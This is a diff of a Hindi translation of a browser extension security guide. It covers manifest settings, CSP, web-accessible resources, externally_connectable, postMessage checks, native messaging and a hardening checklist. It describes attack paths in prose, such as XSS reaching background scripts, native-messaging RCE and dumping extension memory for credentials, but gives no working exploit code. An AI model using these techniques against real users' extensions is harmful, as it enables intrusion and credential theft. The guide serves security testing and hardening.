* **बैकग्राउंड पेज की भूमिका:** एक्सटेंशन के लिए नर्व सेंटर के रूप में कार्य करता है, विभिन्न भागों के बीच संचार और समन्वय सुनिश्चित करता है।
* **स्थिरता:** यह एक हमेशा उपस्थित इकाई है, उपयोगकर्ता के लिए अदृश्य लेकिन एक्सटेंशन की कार्यक्षमता के लिए अनिवार्य है
* **स्थिरता:** यह एक हमेशा उपस्थित इकाई है, उपयोगकर्ता के लिए अदृश्य लेकिन एक्सटेंशन की कार्यक्षमता के लिए अनिवार्य।
* **स्वचालित निर्माण:** यदि स्पष्ट रूप से परिभाषित नहीं किया गया है, तो ब्राउज़र स्वचालित रूप से एक बैकग्राउंड पेज बनाएगा। यह स्वचालित रूप से उत्पन्न पृष्ठ एक्सटेंशन के मैनिफेस्ट में निर्दिष्ट सभी बैकग्राउंड स्क्रिप्ट को शामिल करेगा, जिससे एक्सटेंशन के बैकग्राउंड कार्यों का निर्बाध संचालन सुनिश्चित होता है।
{% hint style="success" %}
@ -269,7 +269,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
* **एक्शन पृष्ठ** तब प्रदर्शित होते हैं जब **एक्सटेंशन आइकन** पर क्लिक किया जाता है।
* पृष्ठ जो एक्सटेंशन **एक नए टैब में लोड करेगा**
* **विकल्प पृष्ठ**: यह पृष्ठ क्लिक करने पर एक्सटेंशन के शीर्ष पर प्रदर्शित होता है। पिछले मैनिफेस्ट में, मैं इस पृष्ठ तक पहुँचने में सक्षम था `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` या क्लिक करके:
* **विकल्प पृष्ठ**: यह पृष्ठ क्लिक करने पर एक्सटेंशन के शीर्ष पर प्रदर्शित होता है। पिछले मैनिफेस्ट में, मैं इस पृष्ठ तक `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` में पहुँचने में सक्षम था या क्लिक करके:
<figure><img src="../../.gitbook/assets/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
@ -292,13 +292,13 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
### `content_security_policy`
एक **सामग्री सुरक्षा नीति** को `manifest.json` के अंदर भी घोषित किया जा सकता है। यदि क परिभाषित है, तो यह **कमजोर** हो सकता है।
एक **सामग्री सुरक्षा नीति** को `manifest.json` के अंदर भी घोषित किया जा सकता है। यदि कोई परिभाषित है, तो यह **कमजोर** हो सकता है।
ब्राउज़र एक्सटेंशन पृष्ठों के लिए डिफ़ॉल्ट सेटिंग काफी प्रतिबंधात्मक है:
```bash
script-src 'self'; object-src 'self';
```
अधिक जानकारी के लिए CSP और संभावित बायपास के बारे में देखें:
CSP और संभावित बायपास के बारे में अधिक जानकारी के लिए देखें:
{% content-ref url="../content-security-policy-csp-bypass/" %}
[content-security-policy-csp-bypass](../content-security-policy-csp-bypass/)
@ -306,7 +306,7 @@ script-src 'self'; object-src 'self';
### `web_accessible_resources`
किसी वेबपेज को ब्राउज़र एक्सटेंशन के एक पृष्ठ, जैसे कि एक `.html` पृष्ठ, तक पहुँचने के लिए, इस पृष्ठ को `manifest.json` के **`web_accessible_resources`** क्षेत्र में उल्लेखित होना चाहिए।\
किसी वेबपेज को ब्राउज़र एक्सटेंशन के एक पृष्ठ, जैसे कि `.html` पृष्ठ, तक पहुँचने के लिए, इस पृष्ठ को `manifest.json` के **`web_accessible_resources`** क्षेत्र में उल्लेखित होना चाहिए।\
उदाहरण के लिए:
```javascript
{
@ -349,7 +349,7 @@ In सार्वजनिक एक्सटेंशनों में **ext
{% endhint %}
{% hint style="danger" %}
ध्यान दें कि **`web_accessible_resources`** से पृष्ठ और एक्सटेंशन के अन्य पृष्ठ भी **पृष्ठभूमि स्क्रिप्ट से संपर्क करने में सक्षम** हैं। इसलिए यदि इनमें से कोई पृष्ठ **XSS** के लिए कमजोर है, तो यह एक बड़ी कमजोरी खोल सकता है।
ध्यान दें कि **`web_accessible_resources`** से पृष्ठ और एक्सटेंशन के अन्य पृष्ठ भी **पृष्ठभूमि स्क्रिप्ट से संपर्क करने** में सक्षम हैं। इसलिए यदि इनमें से कोई पृष्ठ **XSS** के लिए कमजोर है, तो यह एक बड़ी कमजोरी खोल सकता है।
इसके अलावा, ध्यान दें कि आप केवल **`web_accessible_resources`** में निर्दिष्ट पृष्ठों को iframes के अंदर खोल सकते हैं, लेकिन एक नए टैब से आप एक्सटेंशन ID जानकर एक्सटेंशन में किसी भी पृष्ठ तक पहुँच सकते हैं। इसलिए, यदि एक XSS पाया जाता है जो समान पैरामीटर का दुरुपयोग करता है, तो इसका दुरुपयोग किया जा सकता है भले ही पृष्ठ **`web_accessible_resources`** में कॉन्फ़िगर न किया गया हो।
{% endhint %}
@ -360,7 +360,7 @@ In सार्वजनिक एक्सटेंशनों में **ext
* यदि **`externally_connectable`** कुंजी आपके एक्सटेंशन के मैनिफेस्ट में **नहीं** घोषित की गई है या इसे **`"ids": ["*"]`** के रूप में घोषित किया गया है, तो **सभी एक्सटेंशन कनेक्ट कर सकते हैं, लेकिन कोई वेब पृष्ठ कनेक्ट नहीं कर सकता**
* यदि **विशिष्ट IDs निर्दिष्ट की गई हैं**, जैसे `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, तो **केवल वही एप्लिकेशन** कनेक्ट कर सकते हैं।
* यदि **matches** निर्दिष्ट किए गए हैं, तो वे वेब ऐप्स कनेक्ट करने में सक्षम होंगे:
* यदि **matches** निर्दिष्ट किए गए हैं, तो वे वेब ऐप्स कनेक्ट कर सकेंगे:
```json
"matches": [
"https://*.google.com/*",
@ -375,7 +375,7 @@ In सार्वजनिक एक्सटेंशनों में **ext
इसलिए, यह एक **बहुत शक्तिशाली बायपास** है।
इसके अलावा, यदि क्लाइंट एक रॉग एक्सटेंशन स्थापित करता है, भले ही इसे संवेदनशील एक्सटेंशन के साथ संवाद करने की अनुमति न हो, यह **एक अनुमत वेब पृष्ठ में XSS डेटा** इंजेक्ट कर सकता है या **`WebRequest`** या **`DeclarativeNetRequest`** APIs का दुरुपयोग कर सकता है ताकि लक्षित डोमेन पर अनुरोधों में हेरफेर किया जा सके, एक पृष्ठ के अनुरोध को **JavaScript फ़ाइल** के लिए बदलते हुए। (ध्यान दें कि लक्षित पृष्ठ पर CSP इन हमलों को रोक सकता है)। यह विचार [**इस लेख से आया है**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)।
इसके अलावा, यदि क्लाइंट एक रॉग एक्सटेंशन स्थापित करता है, भले ही इसे संवेदनशील एक्सटेंशन के साथ संवाद करने की अनुमति न हो, यह **XSS डेटा को एक अनुमत वेब पृष्ठ में** इंजेक्ट कर सकता है या **`WebRequest`** या **`DeclarativeNetRequest`** APIs का दुरुपयोग कर सकता है ताकि लक्षित डोमेन पर अनुरोधों में हेरफेर किया जा सके, एक पृष्ठ के अनुरोध को **JavaScript फ़ाइल** के लिए बदल सके। (ध्यान दें कि लक्षित पृष्ठ पर CSP इन हमलों को रोक सकता है)। यह विचार [**इस लेख से आया है**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)।
{% endhint %}
## संचार सारांश
@ -431,7 +431,7 @@ chrome.runtime.sendMessage(extensionId, ...
### Native Messaging
यह संभव है कि बैकग्राउंड स्क्रिप्ट सिस्टम के अंदर बाइनरी के साथ संवाद करें, जो कि यदि इस संवाद को सही तरीके से सुरक्षित नहीं किया गया तो **महत्वपूर्ण कमजोरियों जैसे RCEs** के प्रति **प्रवण** हो सकते हैं। [इस पर बाद में अधिक](./#native-messaging)।
यह संभव है कि बैकग्राउंड स्क्रिप्ट सिस्टम के अंदर बाइनरी के साथ संवाद करें, जो कि यदि इस संवाद को सही तरीके से सुरक्षित नहीं किया गया तो **महत्वपूर्ण कमजोरियों जैसे RCEs** के प्रति **संवेदनशील** हो सकते हैं। [इस पर बाद में अधिक](./#native-messaging)।
```javascript
chrome.runtime.sendNativeMessage(
'com.my_company.my_application',
@ -443,7 +443,7 @@ console.log('Received ' + response);
```
## Web **↔︎** Content Script Communication
जहाँ **content scripts** कार्य करते हैं और जहाँ होस्ट पृष्ठ मौजूद हैं, वे एक-दूसरे से **अलग** हैं, जो **अलगाव** सुनिश्चित करता है। इस अलगाव के बावजूद, दोनों के पास पृष्ठ के **Document Object Model (DOM)** के साथ बातचीत करने की क्षमता है, जो एक साझा संसाधन है। होस्ट पृष्ठ को **content script** के साथ संवाद करने के लिए, या अप्रत्यक्ष रूप से सामग्री स्क्रिप्ट के माध्यम से एक्सटेंशन के साथ, आवश्यक है कि वे दोनों पक्षों द्वारा सुलभ **DOM** का उपयोग करें जो संवाद चैनल के रूप में कार्य करता है।
जहाँ **content scripts** कार्य करते हैं और जहाँ होस्ट पृष्ठ मौजूद हैं, वे एक-दूसरे से **अलग** हैं, जो **अलगाव** सुनिश्चित करता है। इस अलगाव के बावजूद, दोनों के पास पृष्ठ के **Document Object Model (DOM)** के साथ बातचीत करने की क्षमता है, जो एक साझा संसाधन है। होस्ट पृष्ठ को **content script** के साथ संवाद करने के लिए, या अप्रत्यक्ष रूप से **content script** के माध्यम से एक्सटेंशन के साथ, आवश्यक है कि वे दोनों पक्षों द्वारा सुलभ **DOM** का उपयोग करें जो संवाद चैनल के रूप में कार्य करता है।
### Post Messages
@ -476,15 +476,15 @@ window.postMessage(
```
{% endcode %}
एक सुरक्षित पोस्ट संदेश संचार को प्राप्त संदेश की प्रामाणिकता की जांच करनी चाहिए, यह निम्नलिखित की जांच करके किया जा सकता है:
एक सुरक्षित Post Message संचार को प्राप्त संदेश की प्रामाणिकता की जांच करनी चाहिए, यह निम्नलिखित की जांच करके किया जा सकता है:
* **`event.isTrusted`**: यह केवल तब सत्य है जब घटना उपयोगकर्ता की क्रिया द्वारा उत्पन्न की गई हो
* सामग्री स्क्रिप्ट केवल तभी संदेश की अपेक्षा कर सकती है जब उपयोगकर्ता कुछ क्रिया करता है
* **उत्पत्ति डोमेन**: केवल डोमेन की अनुमति सूची से संदेश की अपेक्षा कर सकती है।
* यदि एक regex का उपयोग किया जाता है, तो बहुत सावधान रहें
* **स्रोत**: `received_message.source !== window` का उपयोग यह जांचने के लिए किया जा सकता है कि संदेश **उसी विंडो से** था जहां सामग्री स्क्रिप्ट सुन रही है।
* **`event.isTrusted`**: यह केवल तब True है जब घटना उपयोगकर्ता की क्रिया द्वारा उत्पन्न की गई हो
* सामग्री स्क्रिप्ट केवल तभी संदेश की अपेक्षा कर सकती है जब उपयोगकर्ता कुछ क्रिया कर
* **origin domain**: केवल डोमेन की अनुमति सूची से संदेश की अपेक्षा कर सकती है।
* यदि regex का उपयोग किया जाता है, तो बहुत सावधान रहें
* **Source**: `received_message.source !== window` का उपयोग यह जांचने के लिए किया जा सकता है कि संदेश **उसी विंडो से** था जहां सामग्री स्क्रिप्ट सुन रही है।
पिछली जांचें, भले ही की गई हों, कमजोर हो सकती हैं, इसलिए निम्नलिखित पृष्ठ में **संभावित पोस्ट संदेश बायपास** की जांच करें:
पिछली जांचें, भले ही की गई हों, कमजोर हो सकती हैं, इसलिए निम्नलिखित पृष्ठ में **संभावित Post Message बायपास** की जांच करें:
{% content-ref url="../postmessage-vulnerabilities/" %}
[postmessage-vulnerabilities](../postmessage-vulnerabilities/)
@ -510,9 +510,9 @@ window.postMessage(
## सामग्री स्क्रिप्ट **↔︎** बैकग्राउंड स्क्रिप्ट संचार
एक सामग्री स्क्रिप्ट [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **या** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) फ़ंक्शंस का उपयोग करके एक **एक बार JSON-सीरियलाइज़ेबल** संदेश भेज सकती है।
एक सामग्री स्क्रिप्ट [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **या** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) का उपयोग करके एक **एक बार JSON-सीरियलाइज़ेबल** संदेश भेज सकती है।
**प्रतिक्रिया** को संभालने के लिए, लौटाए गए **Promise** का उपयोग करें। हालांकि, पीछे की संगतता के लिए, आप अभी भी अंतिम तर्क के रूप में एक **कॉलबैक** पास कर सकते हैं।
**प्रतिक्रिया** को संभालने के लिए, लौटाए गए **Promise** का उपयोग करें। हालांकि, पीछे की संगतता के लिए, आप अभी भी अंतिम तर्क के रूप में एक **callback** पास कर सकते हैं।
एक **सामग्री स्क्रिप्ट** से अनुरोध भेजना इस तरह दिखता है:
```javascript
@ -522,7 +522,7 @@ const response = await chrome.runtime.sendMessage({greeting: "hello"});
console.log(response);
})();
```
एक **extension** से अनुरोध भेजना (आमतौर पर एक **background script**)। चयनित टैब में सामग्री स्क्रिप्ट को संदेश भेजने का उदाहरण:
**एक्सटेंशन** से एक अनुरोध भेजना (आमतौर पर एक **बैकग्राउंड स्क्रिप्ट**)। चयनित टैब में सामग्री स्क्रिप्ट को संदेश भेजने का उदाहरण:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
(async () => {
@ -545,15 +545,15 @@ sendResponse({farewell: "goodbye"});
}
);
```
उदाहरण में हाइलाइट किया गया, **`sendResponse()`** को समकालिक तरीके से निष्पादित किया गया था। `sendResponse()` के असमकालिक निष्पादन के लिए `onMessage` इवेंट हैंडलर को संशोधित करने के लिए, `return true;` को शामिल करना अनिवार्य है।
उदाहरण में उजागर किया गया, **`sendResponse()`** को समकालिक तरीके से निष्पादित किया गया था। `sendResponse()` के असमकालिक निष्पादन के लिए `onMessage` इवेंट हैंडलर को संशोधित करने के लिए, `return true;` को शामिल करना अनिवार्य है।
एक महत्वपूर्ण विचार यह है कि उन परिदृश्यों में जहां कई पृष्ठ `onMessage` इवेंट प्राप्त करने के लिए सेट किए गए हैं, **विशिष्ट इवेंट के लिए `sendResponse()`** निष्पादित करने वाला पहला पृष्ठ ही प्रभावी रूप से प्रतिक्रिया देने में सक्षम होगा। उसी इवेंट के लिए किसी भी बाद की प्रतिक्रियाओं पर विचार नहीं किया जाएगा।
नई एक्सटेंशन बनाते समय, वादों की ओर प्राथमिकता होनी चाहिए न कि कॉलबैक की। कॉलबैक के उपयोग के संबंध में, `sendResponse()` फ़ंक्शन केवल तभी मान्य माना जाता है जब इसे सीधे समकालिक संदर्भ में निष्पादित किया जाए, या यदि इवेंट हैंडलर `true` लौटाकर असमकालिक संचालन को इंगित करता है। यदि कोई भी हैंडलर `true` नहीं लौटाता है या यदि `sendResponse()` फ़ंक्शन मेमोरी से हटा दिया जाता है (गारबेज-कलेक्टेड), तो डिफ़ॉल्ट रूप से `sendMessage()` फ़ंक्शन से संबंधित कॉलबैक को ट्रिगर किया जाएगा।
नई एक्सटेंशन बनाते समय, वादों की ओर प्राथमिकता होनी चाहिए न कि कॉलबैक की। कॉलबैक के उपयोग के संबंध में, `sendResponse()` फ़ंक्शन केवल तभी मान्य माना जाता है जब इसे सीधे समकालिक संदर्भ में निष्पादित किया जाए, या यदि इवेंट हैंडलर `true` लौटाकर असमकालिक संचालन को इंगित करता है। यदि कोई भी हैंडलर `true` नहीं लौटाता है या यदि `sendResponse()` फ़ंक्शन मेमोरी से हटा दिया जाता है (गारबेज-कलेक्टेड), तो डिफ़ॉल्ट रूप से `sendMessage()` फ़ंक्शन से संबंधित कॉलबैक को सक्रिय किया जाएगा।
## नेटीव मैसेजिंग
ब्राउज़र एक्सटेंशन **सिस्टम में बाइनरी के साथ stdin के माध्यम से संवाद** करने की अनुमति भी देते हैं। एप्लिकेशन को इस बात का संकेत देने वाला एक json स्थापित करना चाहिए जैसे:
ब्राउज़र एक्सटेंशन **stdin के माध्यम से सिस्टम में बाइनरी के साथ संवाद** करने की अनुमति भी देते हैं। एप्लिकेशन को इस बात का संकेत देने वाला एक json स्थापित करना चाहिए जैसे:
```json
{
"name": "com.my_company.my_application",
@ -583,29 +583,29 @@ console.log('Received ' + response);
```
In [**इस ब्लॉग पोस्ट**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) में एक कमजोर पैटर्न जो कि नेटिव मैसेजेस का दुरुपयोग करता है, प्रस्तावित किया गया है:
1. ब्राउज़र एक्सटेंशन के लिए कंटेंट स्क्रिप्ट के लिए एक वाइल्डकार्ड पैटर्न है।
1. ब्राउज़र एक्सटेंशन के लिए कंटेंट स्क्रिप्ट क एक वाइल्डकार्ड पैटर्न है।
2. कंटेंट स्क्रिप्ट `sendMessage` का उपयोग करके बैकग्राउंड स्क्रिप्ट को `postMessage` संदेश भेजता है।
3. बैकग्राउंड स्क्रिप्ट `sendNativeMessage` का उपयोग करके नेटिव एप्लिकेशन को संदेश भेजता है।
4. नेटिव एप्लिकेशन संदेश को खतरनाक तरीके से संभालता है, जिससे कोड निष्पादन होता है।
और इसके अंदर **किसी भी पृष्ठ से RCE तक जाने का एक उदाहरण एक ब्राउज़र एक्सटेंशन का दुरुपयोग करते हुए समझाया गया है**
और इसके अंदर एक उदाहरण **किसी भी पृष्ठ से RCE तक जाने का एक ब्राउज़र एक्सटेंशन का दुरुपयोग** समझाया गया है
## मेमोरी/कोड/क्लिपबोर्ड में संवेदनशील जानकारी
यदि एक ब्राउज़र एक्सटेंशन **संवेदनशील जानकारी को अपनी मेमोरी में स्टोर करता है**, तो इसे **डंप** किया जा सकता है (विशेष रूप से विंडोज मशीनों में) और इस जानकारी के लिए **खोजा** जा सकता है।
यदि एक ब्राउज़र एक्सटेंशन **अपनी मेमोरी के अंदर संवेदनशील जानकारी संग्रहीत करता है**, तो इसे **डंप** किया जा सकता है (विशेष रूप से विंडोज मशीनों में) और इस जानकारी के लिए **खोजा** जा सकता है।
इसलिए, ब्राउज़र एक्सटेंशन की मेमोरी **सुरक्षित नहीं मानी जानी चाहिए** और **संवेदनशील जानकारी** जैसे क्रेडेंशियल्स या म्नेमोनिक वाक्यांश **सटोर नहीं किए जाने चाहिए**।
इसलिए, ब्राउज़र एक्सटेंशन की मेमोरी **सुरक्षित नहीं मानी जानी चाहिए** और **संवेदनशील जानकारी** जैसे क्रेडेंशियल्स या म्नेमोनिक वाक्यांश **संग्रहीत नहीं किए जाने चाहिए**।
बेशक, **कोड में संवेदनशील जानकारी न डालें**, क्योंकि यह **सार्वजनिक** होगी।
ब्राउज़र से मेमोरी को डंप करने के लिए आप **प्रोसेस मेमोरी को डंप** कर सकते हैं या ब्राउज़र एक्सटेंशन की **सेटिंग्स** में जाने के लिए **`Inspect pop-up`** पर क्लिक करें -> **`Memory`** सेक्शन में -> **`Take a snapshot`** और संवेदनशील जानकारी के लिए स्नैपशॉट के अंदर **`CTRL+F`** का उपयोग करें।
ब्राउज़र से मेमोरी डंप करने के लिए आप **प्रोसेस मेमोरी डंप** कर सकते हैं या ब्राउज़र एक्सटेंशन की **सेटिंग्स** में जाने के लिए **`Inspect pop-up`** पर क्लिक करें -> **`Memory`** सेक्शन में -> **`Take a snapshot`** और संवेदनशील जानकारी के लिए स्नैपशॉट के अंदर खोजने के लिए **`CTRL+F`** दबाएं।
इसके अलावा, अत्यधिक संवेदनशील जानकारी जैसे म्नेमोनिक कीज़ या पासवर्ड **क्लिपबोर्ड में कॉपी करने की अनुमति नहीं दी जानी चाहिए** (या कम से कम इसे कुछ सेकंड में क्लिपबोर्ड से हटा दें) क्योंकि फिर क्लिपबोर्ड की निगरानी करने वाली प्रक्रियाएँ उन्हें प्राप्त कर सकेंगी।
इसके अलावा, अत्यधिक संवेदनशील जानकारी जैसे म्नेमोनिक की या पासवर्ड **क्लिपबोर्ड में कॉपी करने की अनुमति नहीं दी जानी चाहिए** (या कम से कम इसे कुछ सेकंड में क्लिपबोर्ड से हटा दें) क्योंकि तब क्लिपबोर्ड की निगरानी करने वाली प्रक्रियाएँ उन्हें प्राप्त कर सकेंगी।
## ब्राउज़र में एक एक्सटेंशन लोड करना
1. **ब्राउज़र एक्सटेंशन डाउनलोड करें** और अनज़िप करें
2. **`chrome://extensions/`** पर जाएं और `Developer Mode` को **सक्रिय करें**
2. **`chrome://extensions/`** पर जाएं और `Developer Mode` **सक्रिय करें**
3. **`Load unpacked`** बटन पर क्लिक करें
**फायरफॉक्स** में आप **`about:debugging#/runtime/this-firefox`** पर जाते हैं और **`Load Temporary Add-on`** बटन पर क्लिक करते हैं।
@ -652,7 +652,7 @@ Chrome Web Store पर जाएँ और एक्सटेंशन डा
### Chrome में डेवलपर मोड का उपयोग करें
Chrome खोलें और `chrome://extensions/` पर जाएँ। शीर्ष दाएँ कोने में "डेवलपर मोड" सक्षम करें। "लोड अनपैक्ड एक्सटेंशन..." पर क्लिक करें। अपने एक्सटेंशन के निर्देशिका पर जाएँ। यह स्रोत कोड डाउनलोड नहीं करता है, लेकिन यह पहले से डाउनलोड किए गए या विकसित किए गए एक्सटेंशन के कोड को देखने और संशोधित करने के लिए उपयोगी है।
Chrome खोलें और `chrome://extensions/` पर जाएँ। शीर्ष दाएँ कोने में "डेवलपर मोड" सक्षम करें। "लोड अनपैक्ड एक्सटेंशन..." पर क्लिक करें। अपने एक्सटेंशन के निर्देशिका पर जाएँ। यह स्रोत कोड डाउनलोड नहीं करता है, लेकिन यह पहले से डाउनलोड या विकसित किए गए एक्सटेंशन के कोड को देखने और संशोधित करने के लिए उपयोगी है।
## Chrome एक्सटेंशन मैनिफेस्ट डेटासेट
@ -669,52 +669,52 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
हालांकि ब्राउज़र एक्सटेंशन का **सीमित हमले का क्षेत्र** होता है, उनमें से कुछ में **कमजोरियाँ** या **संभावित सख्ती में सुधार** हो सकते हैं। निम्नलिखित सबसे सामान्य हैं:
* [ ] **`permissions`** के लिए अनुरोध की गई **सीमित** करें
* [ ] **`host_permissions`** के लिए अनुरोध की गई **सीमित** करें
* [ ] **अनुरोध की गई** **`permissions`** को यथासंभव **सीमित** करें
* [ ] **`host_permissions`** को यथासंभव **सीमित** करें
* [ ] एक **मजबूत** **`content_security_policy`** का उपयोग करें
* [ ] **`externally_connectable`** को यथासंभव **सीमित** करें, यदि कोई आवश्यकता नहीं है और संभव है, तो इसे डिफ़ॉल्ट रूप से न छोड़ें, **`{}`** निर्दिष्ट करें
* [ ] यदि यहां **XSS या टेकओवर के लिए कमजोर URL** का उल्लेख किया गया है, तो एक हमलावर **पृष्ठभूमि स्क्रिप्ट को सीधे संदेश भेजने** में सक्षम होगा। बहुत शक्तिशाली बायपास।
* [ ] **`web_accessible_resources`** को यथासंभव **सीमित** करें, यदि संभव हो तो खाली भी।
* [ ] यदि **`web_accessible_resources`** कोई नहीं है, तो [**ClickJacking**](browext-clickjacking.md) के लिए जांचें
* [ ] यदि किसी भी **संचार** का होना **एक्सटेंशन** से **वेब पृष्ठ** की ओर होता है, तो [**XSS**](browext-xss-example.md) **कमजोरियों** के लिए जांचें जो संचार में उत्पन्न होती हैं।
* [ ] यदि **एक्सटेंशन** से **वेब पृष्ठ** में कोई **संवाद** होता है, तो [**XSS**](browext-xss-example.md) **कमजोरियों** के लिए जांचें जो संवाद में उत्पन्न होती हैं।
* [ ] यदि पोस्ट संदेशों का उपयोग किया जाता है, तो [**पोस्ट संदेश कमजोरियों**](../postmessage-vulnerabilities/)** के लिए जांचें।**
* [ ] यदि **कंटेंट स्क्रिप्ट DOM विवरणों तक पहुंचती है**, तो जांचें कि वे **XSS** को **परिवर्तित** करने पर **परिचय नहीं कर रही हैं** यदि वे वेब द्वारा **संशोधित** की जाती हैं
* [ ] यदि यह संचार **कंटेंट स्क्रिप्ट -> पृष्ठभूमि स्क्रिप्ट संचार** में भी शामिल है, तो विशेष जोर दें
* [ ] यदि पृष्ठभूमि स्क्रिप्ट **नेटिव मैसेजिंग** के माध्यम से संचार कर रही है, तो जांचें कि संचार सुरक्षित और स्वच्छ है
* [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन के कोड के अंदर नहीं रखा जाना चाहिए**
* [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन की मेमोरी के अंदर नहीं रखा जाना चाहिए**
* [ ] **संवेदनशील जानकारी को बिना सुरक्षा के फ़ाइल प्रणाली के अंदर नहीं रखा जाना चाहिए**
* [ ] यदि **कंटेंट स्क्रिप्ट DOM विवरण तक पहुंचती है**, तो जांचें कि वे **XSS** को **परिवर्तित** करने में **नहीं** लाती हैं यदि वे वेब द्वारा **संशोधित** की जाती हैं
* [ ] यदि यह संवाद **कंटेंट स्क्रिप्ट -> पृष्ठभूमि स्क्रिप्ट संवाद** में भी शामिल है, तो विशेष जोर दें
* [ ] यदि पृष्ठभूमि स्क्रिप्ट **नेटिव मैसेजिंग** के माध्यम से संवाद कर रही है, तो जांचें कि संवाद सुरक्षित और स्वच्छ है
* [ ] **संवेदनशील जानकारी को** ब्राउज़र एक्सटेंशन **कोड** के अंदर **नहीं** रखा जाना चाहिए
* [ ] **संवेदनशील जानकारी को** ब्राउज़र एक्सटेंशन **मेमोरी** के अंदर **नहीं** रखा जाना चाहिए
* [ ] **संवेदनशील जानकारी को** **फाइल सिस्टम में असुरक्षित** रूप से **नहीं** रखा जाना चाहिए
## उपकरण
### [**Tarnish**](https://thehackerblog.com/tarnish/)
* किसी दिए गए क्रोम वेबस्टोर लिंक से कोई भी क्रोम एक्सटेंशन खींचता है।
* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **दर्शक**: बस एक्सटेंशन के मैनिफेस्ट का JSON-प्रेटफाइड संस्करण प्रदर्शित करता है।
* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **दर्शक**: बस एक्सटेंशन के मैनिफेस्ट का JSON-प्रेटिफाइड संस्करण प्रदर्शित करता है।
* **फिंगरप्रिंट विश्लेषण**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) का पता लगाना और क्रोम एक्सटेंशन फिंगरप्रिंटिंग जावास्क्रिप्ट का स्वचालित निर्माण।
* **संभावित क्लिकजैकिंग विश्लेषण**: एक्सटेंशन HTML पृष्ठों का पता लगाना जिनमें [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) निर्देश सेट है। ये पृष्ठों के उद्देश्य के आधार पर क्लिकजैकिंग के लिए संभावित रूप से कमजोर हो सकते हैं।
* **अनुमति चेतावनी दर्शक**: जो सभी क्रोम अनुमति प्रॉम्प्ट चेतावनियों की सूची दिखाता है जो उपयोगकर्ता द्वारा एक्सटेंशन स्थापित करने का प्रयास करते समय प्रदर्शित की जाएगी।
* **संभावित क्लिकजैकिंग विश्लेषण**: एक्सटेंशन HTML पृष्ठों का पता लगाना जिनमें [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) निर्देश सेट है। ये पृष्ठों के उद्देश्य के आधार पर क्लिकजैकिंग के लिए संभावित रूप से कमजोर हैं।
* **अनुमति चेतावनी** दर्शक: जो सभी क्रोम अनुमति प्रॉम्प्ट चेतावनियों की सूची दिखाता है जो उपयोगकर्ता द्वारा एक्सटेंशन स्थापित करने का प्रयास करते समय प्रदर्शित की जाएगी।
* **खतरनाक फ़ंक्शन**: खतरनाक फ़ंक्शनों का स्थान दिखाता है जिन्हें संभावित रूप से एक हमलावर द्वारा शोषित किया जा सकता है (जैसे, innerHTML, chrome.tabs.executeScript जैसे फ़ंक्शन)।
* **प्रवेश बिंदु**: दिखाता है कि एक्सटेंशन उपयोगकर्ता/बाहरी इनपुट को कहां लेता है। यह एक्सटेंशन के सतह क्षेत्र को समझने और एक्सटेंशन को दुर्भावनापूर्ण रूप से तैयार किए गए डेटा भेजने के संभावित बिंदुओं की तलाश करने के लिए उपयोगी है।
* खतरनाक फ़ंक्शन और प्रवेश बिंदु स्कैनर के लिए उनके उत्पन्न अलर्ट में निम्नलिखित शामिल हैं:
* अलर्ट का कारण बनने वाला प्रासंगिक कोड स्निपेट और पंक्ति
* संबंधित कोड स्निपेट और वह पंक्ति जिसने अलर्ट का कारण बना
* समस्या का विवरण।
* कोड वाले पूर्ण स्रोत फ़ाइल को देखने के लिए "View File" बटन।
* अलर्ट की गई फ़ाइल का पथ।
* अलर्ट की गई फ़ाइल का पूर्ण क्रोम एक्सटेंशन URI।
* यह किस प्रकार की फ़ाइल है, जैसे कि पृष्ठभूमि पृष्ठ स्क्रिप्ट, सामग्री स्क्रिप्ट, ब्राउज़र क्रिया, आदि।
* यदि कमजोर पंक्ति एक जावास्क्रिप्ट फ़ाइल में है, तो यह उन सभी पृष्ठों के पथ दिखाता है जहां इसे शामिल किया गया है, साथ ही इन पृष्ठों का प्रकार और [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) स्थिति।
* **कंटेंट सुरक्षा नीति (CSP) विश्लेषक और बायपास चेक**: यह आपके एक्सटेंशन के CSP में कमजोरियों को उजागर करेगा और आपके CSP को बायपास करने के संभावित तरीकों को भी उजागर करेगा, जैसे कि व्हाइटलिस्टेड CDNs आदि
* **कंटेंट सुरक्षा नीति (CSP) विश्लेषक और बायपास चेक**: यह आपके एक्सटेंशन के CSP में कमजोरियों को उजागर करेगा और आपके CSP को व्हाइटलिस्टेड CDNs आदि के कारण बायपास करने के संभावित तरीकों को भी उजागर करेगा।
* **ज्ञात कमजोर पुस्तकालय**: यह ज्ञात-कमजोर जावास्क्रिप्ट पुस्तकालयों के किसी भी उपयोग की जांच के लिए [Retire.js](https://retirejs.github.io/retire.js/) का उपयोग करता है।
* एक्सटेंशन और स्वरूपित संस्करण डाउनलोड करें।
* मूल एक्सटेंशन डाउनलोड करें।
* एक्सटेंशन का एक सुंदर संस्करण डाउनलोड करें (स्वचालित रूप से प्रेटफाइड HTML और जावास्क्रिप्ट)।
